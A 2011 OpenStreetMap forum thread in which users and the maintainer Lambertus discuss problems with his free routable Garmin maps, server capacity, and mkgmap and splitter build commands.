- Re: Worldwide routable Garmin maps: URL REMOVED · Ong TH (Gast) · 10.04.2011 12:01 · [flux]
Yes, I have tried pressing ctr-g twice. It still doesn't work.
- Re: Worldwide routable Garmin maps: URL REMOVED · PimVerver (Gast) · 13.04.2011 09:42 · [flux]
Dear sir,
Thank you for all the effort. I have installed the Netherlands for use in Basecamp. It seems all buildings are left out. And all trees or groups of trees are indicated as horizontal brown lines. Was that intentionally done? If you want I can send a screenshot.
Kind regards,
Pim Verver
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.04.2011 17:11 · [flux]
The buildings are left out intentionally (to reduce the size a bit) and the rendering is not optimal because of the default stylesheet in the map generator software (Mkgmap). You can adjust the rendering by adding a TYP file manually, there is lots of information about how to do that on the internet.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.04.2011 17:13 · [flux]
Lambertus wrote:
You can adjust the rendering by adding a TYP file manually, there is lots of information about how to do that on the internet.
Like here: http://forum.openstreetmap.org/viewtopic.php?id=10032
- Re: Worldwide routable Garmin maps: URL REMOVED · Beerforfree (Gast) · 13.04.2011 17:14 · [flux]
Lambertus when does it come the next update of maps in the page?
Seems that there may be some troubles, last update is from March 7th. Take it easy no intention to pressure you ha ha ha - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.04.2011 08:51 · [flux]
ligfietser wrote:
Lambertus wrote:
You can adjust the rendering by adding a TYP file manually, there is lots of information about how to do that on the internet.
Like here: http://forum.openstreetmap.org/viewtopic.php?id=10032
Thanks Ligfietser, I was too lazy to search for an example 🙂
Beerforfree wrote:
Lambertus when does it come the next update of maps in the page?
Seems that there may be some troubles, last update is from March 7th. Take it easy no intention to pressure you ha ha haWell, the pressure was already on....my laptop 😉
Seriously now, two points:
1) For a few months I've had the luxury of the availability of a fast server (without fast internet though) that I could use to preprocess new map versions for a while, but no more unfortunately. That means I have to do the preprocessing on my laptop again which takes a veeerrryyyy long time (about three full days), during which I hardly can use the laptop due to the load.2) The server that generates the user-requested maps is slow and has limited disk space, it cannot keep up with demand unless the caching strategy is in full effect. Due to various queues and delays the caching strategy becomes effective after about 1.5 to two weeks after a new update. By then the queue is so long that it takes another two weeks to get back to acceptable levels. This limits the update interval to at least three weeks currently, at least four weeks when you/I want to enjoy the caching benefits.
Point 1 is almost solved as I've ordered a new workstation, Point 2 is being worked on in two ways: I've asked my sponsor to provide a better server (but unfortunately my contact person is unavailable for a few weeks more) and someone offered me a server, however progress is somehow slow on that front (dunno why).
So, please be patient for a few days more while the new version is generated and uploaded.
Meanwhile I moved the webfrontend to a new webhost (courtesy of Oxilion again!) because the routable Garmin webpage used all of the allowed traffic on my na1400.info domain. So the new URL for the routable Garmin maps is: http://garmin.openstreetmap.nl
- Re: Worldwide routable Garmin maps: URL REMOVED · AlexandrosPapadopoulos (Gast) · 15.04.2011 16:11 · [flux]
I guess writing a distributed client that uses BOINC ( http://boinc.berkeley.edu/ ) for map rendering would be too much to ask... as a quick'n'dirty interim solution would you consider replicating your build environment on a VM (with something that provides free players for most platforms, like VMware)? You could then make this VM available to people to download and hopefully do some map rendering.
It's obviously more complicated than that, but until you get up and running with the new workstation/servers, these are my 2 cents.
PS: I just realised the exact same ideas are documented on http://wiki.openstreetmap.org/wiki/Tile … u_can_help
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.04.2011 17:48 · [flux]
Thanks for your input, but BOINC or VM's aren't necessary, a 'simple' application that can download tiles and use Mkgmap to build a custom map on the client pc is all that is needed. This has been discussed before and I have plans to start developing that application next winter, although anyone with an interest can contact me for input (or not) and start creating such an application at any time. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 16.04.2011 09:32 · [flux]
Is there a problem on the web site? I get this at the top of the page:
Get map definition. (version: 13-04-2011, update: )
Warning: exec() has been disabled for security reasons in /home/garmin/domains/garmin.openstreetmap.nl/public_html/index.php on line 83Warning: exec() has been disabled for security reasons in /home/garmin/domains/garmin.openstreetmap.nl/public_html/index.php on line 85
Warning: exec() has been disabled for security reasons in /home/garmin/domains/garmin.openstreetmap.nl/public_html/index.php on line 87
Warning: exec() has been disabled for security reasons in /home/garmin/domains/garmin.openstreetmap.nl/public_html/index.php on line 88
Free routable maps for Garmin brand GPS devices - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.04.2011 13:02 · [flux]
Yep, I noticed that too this morning. I updated the map version but did not check if everything worked as expected (I really should have done that after moving to the new webhost). Anyway, it appears that the webserver is more restricted on this new host. I'm busy working around this and hope to finish this somewhere
today...Edit: Sorry, I couldn't finish it yesterday and today most likely not as well. I'm going to test your patience some more...
- Re: Worldwide routable Garmin maps: URL REMOVED · Francisco Moraes (Gast) · 19.04.2011 00:47 · [flux]
Lambertus wrote:
Download the planet file if you plan to render the entire world, like I do. Otherwise download from a Geofabrik or Cloudemade extract or from any other extract source.
The next two steps are performed recursively until Mkgmap was able to render the source data successfully.
1) Split the planet into tiles that can be processed by Mkgmap:java␣-Xmx3400m␣-ea␣-jar␣~/garmin/utils/splitter/splitter.jar␣--no-trim␣--max-areas=150␣--cache=cache␣--mapid=$mapid␣--max-nodes=$max_nodes␣--write-kml=$name.kml␣--geonames-file=../../cities15000.zip␣planet-latest.translit.osm.gz
Question: what do you use for $max_nodes and where do you get the $mapid and $name variables?
Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.04.2011 08:40 · [flux]
Francisco Moraes wrote:
Lambertus wrote:
Download the planet file if you plan to render the entire world, like I do. Otherwise download from a Geofabrik or Cloudemade extract or from any other extract source.
The next two steps are performed recursively until Mkgmap was able to render the source data successfully.
1) Split the planet into tiles that can be processed by Mkgmap:java␣-Xmx3400m␣-ea␣-jar␣~/garmin/utils/splitter/splitter.jar␣--no-trim␣--max-areas=150␣--cache=cache␣--mapid=$mapid␣--max-nodes=$max_nodes␣--write-kml=$name.kml␣--geonames-file=../../cities15000.zip␣planet-latest.translit.osm.gz
Question: what do you use for $max_nodes and where do you get the $mapid and $name variables?
Thanks.
$max_nodes = 1200000 in my previous releases and, as a test, 14000000 in the latest which has not been released yet but I needed to reduce the --max-areas to 130 (memory usage is a multiplication of (among others) max-nodes and max-areas, so if you increase max-nodes you need to reduce max-areas otherwise there is a chance java will run out of memory).
$mapid and $name are just 'constants' defined at the top of my build script, '63240000' and 'world' respectively. - Re: Worldwide routable Garmin maps: URL REMOVED · Francisco Moraes (Gast) · 19.04.2011 20:48 · [flux]
Lambertus,
Thanks for your reply. I was able to build the map and installed without problem on my Garmin. MapSource is not happy though:
App: MapSource
At: 4/19/2011 7:46:51 PM (UTC)
OS: Windows 7 (64-bit) Service Pack 1
Processor: x86, Processor Level: 6, Processors:2, Model: 23 Stepping: 10, RAM: 4087836
TDB_REGIONDIR.CPP-103-6.16.3.0
Language ID: 1033
Part Number: 006-A0041-00
Build Type: ReleaseGuess I will have to ask in the mkgmap list.
- Re: Worldwide routable Garmin maps: URL REMOVED · Joasje (Gast) · 19.04.2011 21:01 · [flux]
Help, http://garmin.na1400.info/routable.php doet het niet meer! Wat nu, we gaan vrijdag naar Israël!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.04.2011 21:15 · [flux]
Francisco Moraes wrote:
Lambertus,
Thanks for your reply. I was able to build the map and installed without problem on my Garmin. MapSource is not happy though:
App: MapSource
At: 4/19/2011 7:46:51 PM (UTC)
OS: Windows 7 (64-bit) Service Pack 1
Processor: x86, Processor Level: 6, Processors:2, Model: 23 Stepping: 10, RAM: 4087836
TDB_REGIONDIR.CPP-103-6.16.3.0
Language ID: 1033
Part Number: 006-A0041-00
Build Type: ReleaseGuess I will have to ask in the mkgmap list.
You can do that ofcourse, although I recently noticed that recent MapSources don't load the OSM map if it's the only one installed. Installing two or more maps and selecting the OSM map will show it. Really strange. Perhaps this is your problem? If not, are there any error reports?
Joasje wrote:
Help, http://garmin.na1400.info/routable.php doet het niet meer! Wat nu, we gaan vrijdag naar Israël!
Answered earlier via email.
Anyway, I think most of the problems are gone now and I'll upload a new version of the website any time now. I'm doing a few test renders to see if things seem normal again and then the site will go live again.
- Re: Worldwide routable Garmin maps: URL REMOVED · Francisco Moraes (Gast) · 20.04.2011 21:25 · [flux]
Lambertus wrote:
You can do that ofcourse, although I recently noticed that recent MapSources don't load the OSM map if it's the only one installed. Installing two or more maps and selecting the OSM map will show it. Really strange. Perhaps this is your problem? If not, are there any error reports?
I have other maps installed. This is very strange. If I remove the map I created, it all loads fine. The map generated won't load at all. I took the OSM data for North Carolina from cloudmade and processed per your posts. The map displays some icons (green circle) that I don't see on your maps, so I am wondering if you are using any special TYP file?
I will try to report the issue on the mkgmap list later today or tomorrow. One thing I noticed is that newer versions of mkgmap are much faster on rendering. Probably twice as fast, just FYI.
- Re: Worldwide routable Garmin maps: URL REMOVED · ras_oscar (Gast) · 21.04.2011 02:18 · [flux]
In the past I have downloaded tiles, combined them with with Mkgmap using a script file. Recently I downloaded a group of tiles and the combiner failed, complaining "
C:\Garmin\Maps\OSM_World_Routable>java.exe -Xmx512M -enableassertions -jar c:\Ga
rmin\Map_Tools\MKGMAP\mkgmap.jar --max-jobs --ignore-osm-bounds --route --family
-id=2020 --overview-mapname=53240000 --tdbfile --index --keep-going --drive-on-r
ight --overview-mapnumber=53240000 --family-name="OSM ras_oscar" c:\Garmin\Maps\
OSM_World_Routable\*.img
Exception in thread "main" java.lang.IllegalArgumentException
at java.nio.Buffer.position(Unknown Source)
at uk.me.parabola.imgfmt.Utils.bytesToString(Utils.java:75)
at uk.me.parabola.imgfmt.sys.ImgHeader.setHeader(ImgHeader.java:212)
at uk.me.parabola.imgfmt.sys.ImgFS.readInitFS(ImgFS.java:310)
at uk.me.parabola.imgfmt.sys.ImgFS.openFs(ImgFS.java:129)
at uk.me.parabola.imgfmt.sys.ImgFS.openFs(ImgFS.java:122)
at uk.me.parabola.mkgmap.combiners.FileInfo.imgInfo(FileInfo.java:185)
at uk.me.parabola.mkgmap.combiners.FileInfo.getFileInfo(FileInfo.java:14
7)
at uk.me.parabola.mkgmap.main.Main.endOptions(Main.java:366)
at uk.me.parabola.mkgmap.CommandArgsReader.readArgs(CommandArgsReader.ja
va:124)
at uk.me.parabola.mkgmap.main.Main.main(Main.java:122)Have there been changes to anything in the data structures that would cause this error string? I have not changed either mkgmap or java in well over the year since i used it last.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 21.04.2011 03:52 · [flux]
Still works for me, version 1795.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.04.2011 08:20 · [flux]
The website is updated yesterday and it should work fine again, although I released it in a rush (had to go to bed).
Francisco Moraes wrote:
Lambertus wrote:
You can do that ofcourse, although I recently noticed that recent MapSources don't load the OSM map if it's the only one installed. Installing two or more maps and selecting the OSM map will show it. Really strange. Perhaps this is your problem? If not, are there any error reports?
I have other maps installed. This is very strange. If I remove the map I created, it all loads fine. The map generated won't load at all. I took the OSM data for North Carolina from cloudmade and processed per your posts. The map displays some icons (green circle) that I don't see on your maps, so I am wondering if you are using any special TYP file?
Nope, I'm using the default Mkgmap style and no TYP file.
I will try to report the issue on the mkgmap list later today or tomorrow. One thing I noticed is that newer versions of mkgmap are much faster on rendering. Probably twice as fast, just FYI.
Faster rendering is nice to have ofcourse, although in the grand scheme of (my) things rendering is not the most time-consuming job. Thanks for the heads-up.
Ras_Oscar: Sorry, I don't have a clue... Did you download the tiles from my website? And from which version? 13-04-2011 or 07-03-2011?
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 21.04.2011 08:46 · [flux]
Lambertus, the link to the template file world.kml gives a 404. Could you repair it? I like this file 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 21.04.2011 09:38 · [flux]
Lambertus,
The web site looks ok now, but it's missing the date of the extract. There is just a '1' there now.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.04.2011 11:12 · [flux]
Thanks, both, for the reports.
greencaps wrote:
Lambertus, the link to the template file world.kml gives a 404. Could you repair it? I like this file 🙂
I've updated the link so that it redirects to the current template file. But I must add, that I'm moving away from this file towards the countries.js file which will include the coordinates and tile availability at some point in the future. I'll probably keep uploading the world.kml file after the migration, but won't guarantee that unless there are very good reasons to keep supporting that file.
Beddhist wrote:
Lambertus,
The web site looks ok now, but it's missing the date of the extract. There is just a '1' there now.
Regards,
Peter.Fixed.
🙂
Edit: The past site-outage was a nice test: the 150gb disk was almost empty when the site came online again and was full after exactly 30h.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 23.04.2011 08:32 · [flux]
Lambertus wrote:
.... the countries.js file which will include the coordinates and tile availability at some point in the future.
That would be all I ask for. The format is not important. Just that somewhere you tell which area is covered by a tile.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.04.2011 10:52 · [flux]
Cool developments 🙂
Ligfietser is going strong with his little TYP file project for the routable maps and I'll add one of my own:
I've been given an offer for another host to store maps on and this offer is much more serious then the offer last month (which doesn't seem to go anywhere). So it's time to make some choices: I could use this new opportunity to host maps that include the Ligfietser TYP file (or even any TYP) so that users can choose which map they want and I can get a feeling about using or not using a TYP file by default. Alternatively I could use this host to split country/custom maps between the two servers and hereby greatly reduce the waiting time.
Wishes, suggestions? Input is welcome!
- Re: Worldwide routable Garmin maps: URL REMOVED · 62S_User (Gast) · 24.04.2011 02:23 · [flux]
First I'd like to say, thanks so much for all the effort and great product.
Now I have a question, I'm using a 62s, and a Mac. I was hoping that the Garmin MapManager software would merge the downloaded maps, but it doesn't seem to. I just replaced Germany with Albania. Now I'm thinking if I push that to my device using Garmin MapInstall, I'll lose Germany.
So the question is, without trying to select every tile in Europe, does anyone know how I can get all of Europe on my system for Road Trip, etc.., and then device at once? Any help is appreciated! - Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 24.04.2011 08:38 · [flux]
Check out http://www.javawa.nl/gmtk.html which should do exactly what you're looking for. (Maybe use Google translator if you cannot read dutch).
Hope this helps...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.04.2011 22:51 · [flux]
Great news: I've added a second server to the service. It will host all new non-country map requests for the time being (that was easiest to implement). Let's see how the queues develop.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 24.04.2011 23:12 · [flux]
India contains one tile too many (in the SE).
I have to say I'm impressed with the way the tile selection works. If I manually select and de-select some tiles as soon as my selection contains only those of a country for which the selection has already been built then I get shown a download link.
- Re: Worldwide routable Garmin maps: URL REMOVED · Gollem (Gast) · 25.04.2011 00:22 · [flux]
I downloaded the benelux and a part of North Germany last tuesday.
In Mapsource I see maybe half of the tiles.
I installed it again with no succes. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.04.2011 20:56 · [flux]
Beddhist wrote:
India contains one tile too many (in the SE).
Thanks for the report. The selection is based on some country polygons downloaded from cloudmade and may not match 100% with the borders as shown in Mapnik (the slippy map). I wouldn't worry about it.
I have to say I'm impressed with the way the tile selection works. If I manually select and de-select some tiles as soon as my selection contains only those of a country for which the selection has already been built then I get shown a download link.
Thanks, I admit I like it also ;-)
Gollem wrote:
I downloaded the benelux and a part of North Germany last tuesday.
In Mapsource I see maybe half of the tiles.
I installed it again with no succes.Hmm, last tuesday? Right after the website has come up again? I don't know what went wrong...
- Re: Worldwide routable Garmin maps: URL REMOVED · pepa2000 (Gast) · 25.04.2011 22:16 · [flux]
Dear all,
I'm new in using OSM on my Garmin Colorado 300. I have just downloaded a map of Florida and copied it to my SD Card. Unfortunately nothing is displayed on my GPS. The map is ticked under maps but not displayed. I have downloaded the version for the SD-Card. Does anyone can help me? - Re: Worldwide routable Garmin maps: URL REMOVED · defjoe (Gast) · 25.04.2011 22:18 · [flux]
Hi, I don't know if this has been asked before.
Is it possible to rename a map or to give it a name before importing in Basecamp? I have downloaded a small piece of France around Wissant. I want to name it Wissant, but in Basecamp it's called OSM World Routable. If I have a couple of these I won't be able to tell which is which.
Thanks for any help or suggestions. - Re: Worldwide routable Garmin maps: URL REMOVED · dukeofurl (Gast) · 26.04.2011 06:24 · [flux]
I have installed this on my friends 60CSx, and almost everything works, except for when I search for an address, it keeps saying None Found. It seems to know street names just fine, auto-routing between waypoints.
I have installed it on another friend's unit successfully in the past. I do not know why it does not work now. Can anyone help?
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 26.04.2011 09:56 · [flux]
defjoe wrote:
Hi, I don't know if this has been asked before.
Is it possible to rename a map or to give it a name before importing in Basecamp? I have downloaded a small piece of France around Wissant. I want to name it Wissant, but in Basecamp it's called OSM World Routable. If I have a couple of these I won't be able to tell which is which.
Thanks for any help or suggestions.Hi,
Check out http://www.javawa.nl/gmtk.html which should do exactly what you're looking for. (Maybe use Google translator if you cannot read dutch).
Hope this helps...
- Re: Worldwide routable Garmin maps: URL REMOVED · Gollem (Gast) · 26.04.2011 16:09 · [flux]
The download from sunday/monday works fine again.
I think it was because I didn't uninstall the old map, I had 2 directory's With OSM Routable in my Garmin/Maps/
- Re: Worldwide routable Garmin maps: URL REMOVED · pepa2000 (Gast) · 27.04.2011 17:40 · [flux]
Just for Info. I downloaded again Florida. This time I got a version from 23rd of April instead of 25th of April. I extracted the map to my Colorado 300 and deleted the map from 25th of April and this time the map is displayed and the routing looks like it is working too. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.04.2011 20:57 · [flux]
pepa2000 wrote:
Just for Info. I downloaded again Florida. This time I got a version from 23rd of April instead of 25th of April. I extracted the map to my Colorado 300 and deleted the map from 25th of April and this time the map is displayed and the routing looks like it is working too. 🙂
I never published a version from the 25th of April, only the 23th...
But hey, it's working now and that's great 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · MacMax (Gast) · 03.05.2011 22:40 · [flux]
Hope I'm not asking something which everyone else knows, but how do I report a broken tile? IT-Parma doesn't show up at all.
Thanks - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.05.2011 09:26 · [flux]
MacMax wrote:
Hope I'm not asking something which everyone else knows, but how do I report a broken tile? IT-Parma doesn't show up at all.
ThanksThe Parma tile is present when I download Italy as MapSource installer. Can you provide more information like
- Did you download Parma as part of country Itay or as custom map?
- What type map have you downloaded? I.e. for MapSource or the gmapsupp or...
- Have you tried to clear the map cache if you're missing the tile in MapSource? (hit ctrl-g twice) - Re: Worldwide routable Garmin maps: URL REMOVED · MacMax (Gast) · 04.05.2011 18:38 · [flux]
- I specified a custom map, with Parma about the middle
- Download was the osm_routable_gmapsupp.zip
- I didn't use Mapsource, but loaded the unzipped file directly into my OregonAll the other tiles loaded perfectly, but Parma is just a white rectangle.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 05.05.2011 00:06 · [flux]
MacMax wrote:
- I didn't use Mapsource, but loaded the unzipped file directly into my Oregon
All the other tiles loaded perfectly, but Parma is just a white rectangle.Is that the only map you have on the Oregon? Oregon's can be picky. If they have an earlier file with the same mapID or Family ID they might not show the later map.
- Re: Worldwide routable Garmin maps: URL REMOVED · MacMax (Gast) · 05.05.2011 18:57 · [flux]
I have 4 other OSMs on my Oregon. In fact, this presents a separate problem, because they are all grouped into one "family" on the GPS, and thus cannot be enabled/disabled separately. Does anyone have a solution to this - can I rename them somehow?
Despite the presence of other OSM on the GPS, it's hard to see how this could lead to just one tile out of many being rejected.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 06.05.2011 08:57 · [flux]
Well Lambertus, whatever you did to your system you have reduced the queue from days to minutes.
Bravo! 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.05.2011 10:19 · [flux]
Beddhist wrote:
Well Lambertus, whatever you did to your system you have reduced the queue from days to minutes.
Bravo! 😄
Thank the generous person that sponsored the extra server. It tripled the map cache and doubled the map generation speed. The large cache allowed me to disable map expiry on the country maps(which saves CPU power) and increase the custom map expiry period. :-)
Yes, I'm very happy with that.
And to my surprise I've got a second offer for a sponsored server which will allow for even more nice stuff (think multiple TYP files for instance). But at the moment I don't have the time to use that machine. Real life and a new map version that has some difficulties stand in the way.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.05.2011 10:52 · [flux]
Hmm, a new map version has finally been successfully generated and uploaded, but now I'm missing a crucial configuration file... Murphy is having fun yet again. 🙁
Edit: Fixed that. But what's up with those two light-blue tiles? 😛
- Re: Worldwide routable Garmin maps: URL REMOVED · MacMax (Gast) · 09.05.2011 19:37 · [flux]
I previously reported that one tile of a download was not showing. I have had a repeat case in a different area, but this time I have solved it. As suggested by Seldom, it is due to a conflict between two OSMs, and is resolved by removing one of them. Interestingly, the "invisible" tile is not one which is shared by both OSMs, but the one adjacent to the shared tile. Don't know why this is, and I don't really care. Main thing is, that it is solved!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.05.2011 20:15 · [flux]
MacMax wrote:
I previously reported that one tile of a download was not showing. I have had a repeat case in a different area, but this time I have solved it. As suggested by Seldom, it is due to a conflict between two OSMs, and is resolved by removing one of them. Interestingly, the "invisible" tile is not one which is shared by both OSMs, but the one adjacent to the shared tile. Don't know why this is, and I don't really care. Main thing is, that it is solved!
Great news 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · MacMax (Gast) · 09.05.2011 20:20 · [flux]
The only problem is, I still need to rename the maps. I have found the Dutch tool mentioned earlier in this forum, and the developer has kindly supplier an English version called MapRenamer. However, this doesn't seem to work on the gmapsupp.img files which I load directly into the GPS. What a pity!
- Re: Worldwide routable Garmin maps: URL REMOVED · Gollem (Gast) · 09.05.2011 22:32 · [flux]
Can't you rename these maps in explorer?
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 10.05.2011 08:26 · [flux]
No - it's the underlying map IDs of the individual tiles within the gmapsupp.img and the family ID of the whole mapset that's the problem.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.05.2011 08:53 · [flux]
You can try to change the Family ID with gmaptool: http://www.anpo.republika.pl/download.html#gmaptool
- Re: Worldwide routable Garmin maps: URL REMOVED · Rogerdodger (Gast) · 12.05.2011 01:11 · [flux]
Ok I'm not too technical so try to speak in human talk!
Ive been using Lambertus's maps for a while. I have a garmin scx 60 and I'm using mapsource 6-16-3. I have a windows machine that I was using vista, but have upgraded to windows 7. Since then I can load the maps but I get no detail under about 75miles. I'm thinking its a configuration issue but I can't figure out how to fix it. I ran something on windows 7 that was some sort of configuration tool but it said it didn't find any issues.
I'll see if I can post this screen shot.
- Re: Worldwide routable Garmin maps: URL REMOVED · ger4rd (Gast) · 14.05.2011 08:00 · [flux]
Hello,
I used a Lambertus generated map for a portion of spain during a recent travel, and I've been surprised to have speed camera warning messages poping-up on my Legend HCx.
Is this an intentionnal feature of the way these maps are generated, and if yes, what mkgmap commands are used to obtain this result? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.05.2011 12:34 · [flux]
Rogerdodger wrote:
Ok I'm not too technical so try to speak in human talk!
Ive been using Lambertus's maps for a while. I have a garmin scx 60 and I'm using mapsource 6-16-3. I have a windows machine that I was using vista, but have upgraded to windows 7. Since then I can load the maps but I get no detail under about 75miles. I'm thinking its a configuration issue but I can't figure out how to fix it. I ran something on windows 7 that was some sort of configuration tool but it said it didn't find any issues.
I'll see if I can post this screen shot.
I've had more reports of people who had problems zooming in, but when I try the same map on my Vista install the problem always disappears when zooming in and out a few times. It seems random and never persistent. Have you tried to clear the map cache (hit ctrl+g twice)?
ger4rd wrote:
I used a Lambertus generated map for a portion of spain during a recent travel, and I've been surprised to have speed camera warning messages poping-up on my Legend HCx.
Is this an intentionnal feature of the way these maps are generated, and if yes, what mkgmap commands are used to obtain this result?Hey that's cool, although I never heard of this or experienced this before... You're sure that you haven't installed a POI list of speedcams along with the map?
- Re: Worldwide routable Garmin maps: URL REMOVED · ger4rd (Gast) · 14.05.2011 15:06 · [flux]
Lambertus wrote:
Hey that's cool, although I never heard of this or experienced this before... You're sure that you haven't installed a POI list of speedcams along with the map?
Oops, I checked the .csv file delivered together the POI file I was using and found that it covered not only France (as I needed) but also Spain. Something I wasn't aware of.
- Re: Worldwide routable Garmin maps: URL REMOVED · MacMax (Gast) · 14.05.2011 20:21 · [flux]
Sorry we are getting the threads a bit mixed up here.
@ligfietser
I tried GmapTool, and it certainly allowed me to change the mapset name. I can now see on the GPS which maps I have loaded, which is a step forweard. However, the OSMs are still grouped together under "family name", which I haven't been able to change. This means that I can't enable/disable OSMs individually - it's all or nothing.
We're getting closer, but not quite there. Any more help would be very welcome. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.05.2011 09:02 · [flux]
Max,
Have you tried to change the FID (=Family ID) of each gmapsupp.img with gmaptool? - Re: Worldwide routable Garmin maps: URL REMOVED · OliverH (Gast) · 15.05.2011 23:34 · [flux]
I have a problem creating a custom set. I first tried the prebuild Netherlands map, wich works perfectly. Then, in view of an upcoming travel I constructed a set of the Netherlands + UK and Ireland with a little bit of Belgium. The result of this construction has white areas in Mapsource, it's like Mapsource sees that I requested them, but they have no content. This includes my hometown area.
Areas I did not request have the generic "no maps" color.
Trying the gmapsupp.img I can see the information missing at my location as well.Thinking it might be due to user error I repeated the process with a slightly larger area, but the white areas remain.
Maybe this has something to do with parts build on another server not getting assembled correctly into the end-product, or is there some step in the process I missed?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.05.2011 08:21 · [flux]
Mkgmap versions:
Custom map server: r1919
Country map server: r1867
Pre-compile server: r1929 (afaik)It's a bit of a mess aparently 😄
The custom map server version is now downgraded to r1867. Can you try a small test?
BTW, I'm preparing to add the Mapnik TYP file from Ligfietser as a user choice on a third sponsored server, but I haven't gotten PHP scripting to work properly on that server yet. It's really coming but it needs a bit more patience. ;-)
- Re: Worldwide routable Garmin maps: URL REMOVED · FrankDrop (Gast) · 16.05.2011 10:08 · [flux]
For me, also the prebuild Netherlands map is missing tiles. The missing tiles are the ones that cannot be downloaded directly from the site. For example:
NL-Den Haag works fine and can be downloaded from this location:
http://planetosm.oxilion.nl/~lambertus/ … 241000.imgHowever, NL-Leiden does not work and also the individual download link does not work:
http://planetosm.oxilion.nl/~lambertus/ … 240204.imgPerhaps that helps you in fixing the problem? 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.05.2011 10:17 · [flux]
Thanks Frank.
It appears that some tiles are missing on both servers. I'm not sure yet if they are simply not uploaded or that the tiles haven't been generated, something that I will find out when I get home this evening. Till then the map generation is disabled to prevent further confusion.
- Re: Worldwide routable Garmin maps: URL REMOVED · OliverH (Gast) · 16.05.2011 10:26 · [flux]
If you like/want some help with the PHP coding, feel free to contact me.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.05.2011 13:17 · [flux]
OliverH wrote:
If you like/want some help with the PHP coding, feel free to contact me.
Thank you, that's very kind. The problem I'm having on the newest server is not the coding but the restrictions of the operating system (i.e. the script is not allowed to call Java to run Mkgmap, etc.).
Currently, there isn't much coding to do really. Adding a selectable TYP file is prepared already (needs testing only) and I don't have any specific new ideas (hint! hint!).
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.05.2011 17:59 · [flux]
Lambertus wrote:
Mkgmap versions:
Custom map server: r1919
Country map server: r1867
Pre-compile server: r1929 (afaik)It's a bit of a mess aparently 😄
The custom map server version is now downgraded to r1867. Can you try a small test?
BTW, I'm preparing to add the Mapnik TYP file from Ligfietser as a user choice on a third sponsored server, but I haven't gotten PHP scripting to work properly on that server yet. It's really coming but it needs a bit more patience. ;-)
Which mkgmap version are you using with the typ file? They have changed some lines in the default style so I'm not sure if this typ file is up to date.
- Re: Worldwide routable Garmin maps: URL REMOVED · OliverH (Gast) · 16.05.2011 18:43 · [flux]
Lambertus wrote:
The problem I'm having on the newest server is not the coding but the restrictions of the operating system (i.e. the script is not allowed to call Java to run Mkgmap, etc.).
So preparing a statement to be executed by a shell script through crontab is also out of the question I assume.
Lambertus wrote:
I don't have any specific new ideas (hint! hint!).
Judging by my father's experience you could probably make it more clear that there are prebuild maps he doesn't have to wait for.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.05.2011 18:49 · [flux]
ligfietser wrote:
Which mkgmap version are you using with the typ file? They have changed some lines in the default style so I'm not sure if this typ file is up to date.
It could be whatever you advise, but if the new bits in the default stylesheet are stable then I would like to use the latest one (and allow for future updates).
OliverH wrote:
Lambertus wrote:
The problem I'm having on the newest server is not the coding but the restrictions of the operating system (i.e. the script is not allowed to call Java to run Mkgmap, etc.).
So preparing a statement to be executed by a shell script through crontab is also out of the question I assume.[/qupte]Not in a practical way I think. The script will probably not allowed to add a crontab entry either (could be wrong though), but then the script will have to wait for the scheduled task to end and submit the next job to crontab. It would require a major rewrite and I don't really fancy that. The better way would be to configure the rights properly, but I'm not the sysadmin of that server so it takes quite some emailing back and forth.
Lambertus wrote:
I don't have any specific new ideas (hint! hint!).
Judging by my father's experience you could probably make it more clear that there are pre-built maps he doesn't have to wait for.
Alright, I'll try to do that. I'm not a native English speaker though, so it's possible that I don't express the options succinct enough. And, ofcourse, there is the additional caveat that none of the countries are available for download at the time of each new map release.
Additionally, the need for users to download countries as much as possible has been alleviated by the new servers as well.
Thanks for your input.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 16.05.2011 22:51 · [flux]
Lambertus wrote:
